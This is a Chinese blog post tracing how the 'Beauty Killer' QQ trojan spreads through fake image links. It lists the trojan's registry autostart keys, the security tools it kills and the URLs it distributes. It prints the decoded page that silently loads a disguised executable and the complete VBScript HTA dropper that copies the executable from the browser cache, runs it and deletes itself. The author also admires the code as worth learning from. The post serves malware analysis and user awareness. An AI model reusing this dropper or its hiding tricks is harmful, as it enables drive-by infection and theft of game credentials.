美女图片传病毒——“美女杀手”传播过程全解析

类别:软件工程 点击:0 评论:0 推荐:
 

前几日,一个朋友中了一个病毒,他的qq上线后就会自动发给好友一个网址。这个病毒弄的他叫苦不迭,我应邀到那个网之看了一下,发现了病毒传播的过程,在此把发现过程共享一下给大家,希望大家对病毒能够引起重视,同时也不要害怕,正确的对待它。

 

下面的信息是关于这个病毒的一个变种在瑞星病毒库资料里的信息:

 Trojan.Legend.Syspoet.b.enc

WINDOWS下的PE病毒

美女杀手

 

VB写的盗游戏密码的木马,采用UPX压缩,一旦执行,病毒将自我复制到系统文件夹:

%SYSDIR%\filename.exe

它将创建下列注册表键值来使自己随Windows系统自启动:

HKLM\SoftWare\Microsoft\Windows\CurrentVersion\RunServices

"filename.exe"="filename.exe"

HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run

"filename.exe"="filename.exe"

其中"filename"可能会变化.比如:"sobsm.exe".

它将终止带有下列字眼的程序的执行:

瑞星
金山毒霸
江民
专杀

木马
防火墙
监控
注册表编辑器
任务管理器
进程列表
进程管理
Antivirus
Trojan
REGSNAP
REGSHOT
REGISTRY MONITOR
W32DASM

它通过QQ发送虚假消息给在线好友,导致在线好友上当,有鉴于此,希望用户收到带有下列链结的请不要访问:

http://qiumei.3322.org/zhaopian/me.jpg
http://jiawei.6600.org/zhaopian/me.jpg
http://siting.8800.org/zhaopian/me.jpg
http://qianhui.9966.org/zhaopian/me.jpg
http://xiujuan.2288.org/zhaopian/me.jpg
 

它将盗取游戏“传奇”的各种信息:

账号
区域
服务器
密码
附加

同时它还将盗取的信息发送到可配置的指定邮箱。
 
注: %SYSDIR% 是可变的WINDOWS系统文件夹,默认为: C:\Windows\System (Windows 95/98/Me),
C:\Winnt\System32 (Windows NT/2000), 或 C:\Windows\System32 (Windows XP)、
%WINDIR% 是可变的,是WINDOWS的安装目录(默认为: C:\Windows or C:\Winnt).

因为我事先知道是病毒,所以对待比较小心。我看到连接地址最后是一个.jpg的文件,于是我就打开了flashget,(用flashget下载,病毒总不会发作吧),下载后,怎么办?我看到下载下来的文件只有几k而已,料想不会有什么复杂的东西在里面,于是就启动了图像编辑器,打开这个文件。奇怪的事情发生了,格式错误!!!难道是我下错了?于是我就涨起胆子连到了那个网址上,一幅图片出现了,(其实我觉得哪个女的不漂亮,呵呵)。这下子我可傻了。根据我的经验,我已经中着了。反正也中着了,抱着死猪不怕开水烫的心态,我大胆的进行了进一步的分析。首先,我察看了一下哪个图片的属性。一个细节被我捕捉到了,我连接得网址最后是一个me.jpg,可是那幅图片的属性是my.jpg,这可是一个线索,于是我习惯性的打开了源文件(精彩的部分开始了)。我看到了如下的内容:

 

<html>

<head>

<script language="JScript.Encode">#@~^xQEAAA==@#@&@!Z O@#@&\mD,AWMNdP{JYf;tYss]22]Z9Y!z]2Z8W[zu&3]Z9]ZbYf;W4%n1YY Z[mYCu&G] yhbUEa/ lkwY+y] ZA+botDYffZ]y!Ak[O4]ffu+!Z]f3u&Z&G(LnmDY22YZfu!bu&;r:T]+!kD^Y2f:H Lao]23Y!G]ZbY&/G(LnmDY ZNCOm]&9Yy 4+^sKRCkwu  u ZA+bo4Yu&9Tu !SrNDt]29Y Z!u&3]f/JW8L^Yu&3YZf]T)u&/z(G9XY22u!fu!zY&;z4YsVYfAJPJ&w!YPHG;D,mMk2YG~1W[+,OtDn@#@&0EU^DkGx,G!YAKD9`#@#@&P@#@&7l.P      +AAKDNkI@#@&x+SAGD9/,'~EUnkmCwchKD[d*i@#@&[Km;:UDRAMkD+`      +SAWMNd#p@#@&N,@#@&K;YSWD9cbi@#@&Jz~OR@*@#@&Qn4AAA==^#~@</script>

</head>

<body>

</body>

</html>

怪了!!!.jpg的文件怎么会成了<html>代码了呢?看来,作者还真下了一番功夫,把服务器的文件解析也改了?厉害厉害!!!

看到没,加密了,不过不要紧,网上到处都可以找到解密工具。解密后,代码如下:

<html>

<head>

<script language="JScript.Encode">

<!--

var words ="%3Chtml%3E%0D%0A%3Cbody%3E%0D%0A%3Cobject%20data%3D%22winups.asp%22%20weight%3D0%20width%3D%200%3E%3C/object%3E%0D%0A%3Cimg%20src%3Dmy.jpg%3E%0D%0A%3Cobject%20data%3D%22hello.asp%22%20weight%3D0%20width%3D%200%3E%3C/object%3E%0D%0A%3C/body%3E%0D%0A%3C/html%3E" //put your cripto code there

。。。。。。。。这一段是加密后的代码

function outword()

{

var newwords;

newwords = unescape(words);

document.write(newwords);。。。。。。。解密后写入网页内

}

outword();

// -->

</script>

</head>

<body>

</body>

</html>

 

看来作者为了难为我们,还加密了这段代码,不过没关系,它能加密,我们就能解密,并且,他的加密手段很简单,不过是应用了现成的js的函数,我们用unescape()不就解密了么。于是,我动手写了一个小脚本,把上述代码解密了出来。

加密的代码内容如下:

 

<html>

<body>

<object data="winups.asp" weight=0 width= 0></object>

<img src=my.jpg>。。。。。。。。。现在明白为什么是my.jpg了吧

<object data="hello.asp" weight=0 width= 0></object>

</body>

</html>

 

看到了么,尾巴露出来了!!!,这两个文件可是关键啊。于是乎,下载了这两个文件。(扩展名就随意了)。

我先打开了winups.asp(是用记事本打开的,我发现文件开头有MZ字样),哈哈,原来这是一个.exe文件。先不理会他,看看另一个,另一个相对简单,打开之后一看是一段脚本代码(可恶,竟然又加密了)。没办法,解密,得到如下代码:

 

<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>

<HTA:APPLICATION  caption="no" border="none" visiable="no" windowState="minimize" >

。。。。这是在建立脚本对象

<script LaNGUAGE="VBScript.Encode">

window.moveTo  -100,-100

。。。。哈哈,竟然用这种隐藏窗体的方法

Set g_fs = CreateObject("Scripting.FileSystemObject")

Set tf = g_fs.CreateTextFile("c:\isp.hta",true)

。。。。看看,来了不是,开始文件操作了吧

tf.write "<HTA:APPLICATION  caption=" & CHR(34)& "no" & CHR(34)& " border=" & CHR(34)& "none" & CHR(34)& " visiable=" & CHR(34)& "no" & CHR(34)& " showintaskbar=" & CHR(34)& "no" & CHR(34)& " >" &chr(13)&chr(10)

。。。。。看来作者是要用脚本来写脚本了,够狠!!!

tf.write "<object id='wsh' cl"& chr(97)&"ssid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>"&chr(13)&chr(10)

。。。。。F935DC22-1CF0-11D0-ADB9-00C04FD58A0B 是WSH的sid

tf.write "<" & "script LANGUAGE=" & CHR(34)& "VBScript" & CHR(34)& ">"&chr(13)&chr(10)

tf.write "on error resume next"&chr(13)&chr(10)

tf.write "window.moveTo  -100,-100"&chr(13)&chr(10)

tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)

tf.write "dim exepath"&chr(13)&chr(10)

tf.write "Function Search(objFolder) "&chr(13)&chr(10)

tf.write "Dim objSubFolder"&chr(13)&chr(10)

tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)

tf.write "If InStr(1, objfile.name, " & CHR(34)& "winups" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)

tf.write "set filecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10)

tf.write "filecp.copy (exepath)"&chr(13)&chr(10)

tf.write "exit for"&chr(13)&chr(10)

tf.write "End If"&chr(13)&chr(10)

tf.write "Next "&chr(13)&chr(10)

tf.write "For Each objSubFolder in objFolder.SubFolders  "&chr(13)&chr(10)

tf.write "Search objSubFolder"&chr(13)&chr(10)

tf.write "Next"&chr(13)&chr(10)

tf.write "End Function"&chr(13)&chr(10)

。。。。这个函数是找到winups哪个文件,然后复制到系统目录下

。。。。

tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)

tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\cache" & CHR(34)& ")"&chr(13)&chr(10)

。。。。这是在寻找缓存目录

tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)

tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)

tf.write "exepath=othisfolder.path & "& chr(34) & "\win.exe" & chr(34) &chr(13)&chr(10)

tf.write "search tempfolder"&chr(13)&chr(10)

。。。。真是的,还要复制到系统目录下,可恶

tf.write "wsh.run (exepath)"&chr(13)&chr(10)

tf.write "wsh.run " & CHR(34)& "command.com /c del c:\isp.hta" & CHR(34)& " ,0"&chr(13)&chr(10)

。。。。呵呵,还不忘了删除自己,习惯不错,值得学习

tf.write "window.close()"&chr(13)&chr(10)

tf.write "<" &chr(47)& "script>"&chr(13)&chr(10)

tf.close

wsh.run "c:\isp.hta",0

window.close ()

</script>

有一个

真是一段短小精悍的代码。估计流程大家已经看明白了。先在缓存里找到那个文件,然后复制到系统目录里,并执行它。而且,精彩之处还在于,作者用脚本生成了一个脚本。剩下来的工作,我就不敢做了,让我跟踪.exe文件,找出其中的流程,过几年再说吧。不过就看这之前的脚本,也是极为精彩的。其实,如果你想学编程,一定要学习一些病毒代码,这里面有很多值得借鉴的东西。先从简单的学起,比如这个病毒。

整个跟踪下来,我一直很是兴奋,不是因为我发现了病毒的传播方法,而是为作者的代码拍案叫绝。如果你还懂一点编程的话,那么你应该学习怎么去欣赏一段代码,好的代码,就像文学里的诗歌一样,虽短小,却回味无穷。

呵呵,扯了一堆废话,还是干正事要紧,赶快把我提取出的病毒打了个包,发给了瑞星。(那天应该是02/26)。大约三天后,得到了瑞星的回复,告诉了我这是“美女杀手”。到网站一看,还是个新病毒。

说来也巧,我和我同学都打开了那个网址,可是我对那个病毒“屡试不爽”,而我同学却被折腾的“爽的不得了”,一看病毒库资料,我才恍然大悟,原来是vb的程序,而我没有装studio,也没装其他的vb程序,所以没有vb6运行库,病毒当然无法运行。哈哈,想起来真是后怕。

希望通过此文,大家能够对病毒有一个新的认识,其实病毒也不可怕,只要弄清了机理,病毒可是一个好玩的东西。

 

本文地址:http://com.8s8s.com/it/it37204.htm